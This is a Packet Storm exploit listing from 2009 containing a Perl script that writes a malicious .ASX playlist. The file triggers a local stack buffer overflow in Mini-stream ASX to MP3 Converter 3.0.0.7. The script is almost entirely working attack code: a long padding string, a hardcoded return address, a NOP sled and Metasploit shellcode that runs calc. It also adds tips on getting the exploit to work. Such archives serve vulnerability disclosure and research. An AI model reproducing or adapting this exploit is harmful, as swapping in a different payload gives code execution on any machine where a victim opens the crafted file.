Mini-stream ASX To MP3 Converter Overflow

2009-05-08T00:00:00
ID PACKETSTORM:77333
Type packetstorm
Reporter G4N0K
Modified 2009-05-08T00:00:00

Description

                                        
                                            `#!/usr/bin/perl  
=gnk  
==============================================================================  
_ _ _ _ _ _   
/ \ | | | | / \ | | | |  
/ _ \ | | | | / _ \ | |_| |  
/ ___ \ | |___ | |___ / ___ \ | _ |  
IN THE NAME OF /_/ \_\ |_____| |_____| /_/ \_\ |_| |_|  
  
==============================================================================  
____ _ _ _ _ ___ _ __  
/ ___| | || | | \ | | / _ \ | |/ /  
| | _ | || |_ | \| | | | | | | ' /   
| |_| | |__ _| | |\ | | |_| | | . \   
\____| |_| |_| \_| \___/ |_|\_\...From Iran  
  
==============================================================================  
Mini-stream ASX to MP3 Converter 3.0.0.7 .ASX File (HREF) Local Buffer Overflow Exploit  
==============================================================================  
[»] Script:.............[ Mini-stream ASX to MP3 Converter 3.0.0.7 ]....  
[»] Website:............[ http://mini-stream.net/ ].....................  
[»] Today:..............[ 07052009 ]....................................  
[»] Exploited by:.......[ G4N0K | mail[.]ganok[sh!t]gmail.com ].........  
==============================================================================  
  
[x] tested on Windows XP SP2...  
[x] if you are not able to make this shit work, just put it in the Base/Root  
of a Drive/Partition, like "C:\gnk.asx"...  
  
=cut  
  
my $MSD = "G" x 26110;  
my $SMN = "\x90" x 16;  
my $RA = "\x5D\x38\x82\x7C"; # Kernel32.dll  
  
# win32_exec - EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com  
my $Shcode = "\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x08".  
"\x99\x23\x82\x83\xeb\xfc\xe2\xf4\xf4\x71\x67\x82\x08\x99\xa8\xc7".  
"\x34\x12\x5f\x87\x70\x98\xcc\x09\x47\x81\xa8\xdd\x28\x98\xc8\xcb".  
"\x83\xad\xa8\x83\xe6\xa8\xe3\x1b\xa4\x1d\xe3\xf6\x0f\x58\xe9\x8f".  
"\x09\x5b\xc8\x76\x33\xcd\x07\x86\x7d\x7c\xa8\xdd\x2c\x98\xc8\xe4".  
"\x83\x95\x68\x09\x57\x85\x22\x69\x83\x85\xa8\x83\xe3\x10\x7f\xa6".  
"\x0c\x5a\x12\x42\x6c\x12\x63\xb2\x8d\x59\x5b\x8e\x83\xd9\x2f\x09".  
"\x78\x85\x8e\x09\x60\x91\xc8\x8b\x83\x19\x93\x82\x08\x99\xa8\xea".  
"\x34\xc6\x12\x74\x68\xcf\xaa\x7a\x8b\x59\x58\xd2\x60\x69\xa9\x86".  
"\x57\xf1\xbb\x7c\x82\x97\x74\x7d\xef\xfa\x42\xee\x6b\x99\x23\x82";  
  
my $ASX =   
"<asx version=\"3.0\">  
<title>Title is not important.</title>  
<entry>  
<title>Example...</title>  
<ref href=\"".$MSD.$RA.$SMN.$Shcode."\" />  
<author>G4N0K</author>  
<copyright>©2009 G4N0K</copyright>  
</entry>  
</asx>";  
  
open(ASX,'>>gnk.asx');  
print ASX $ASX;  
close(ASX);  
  
  
`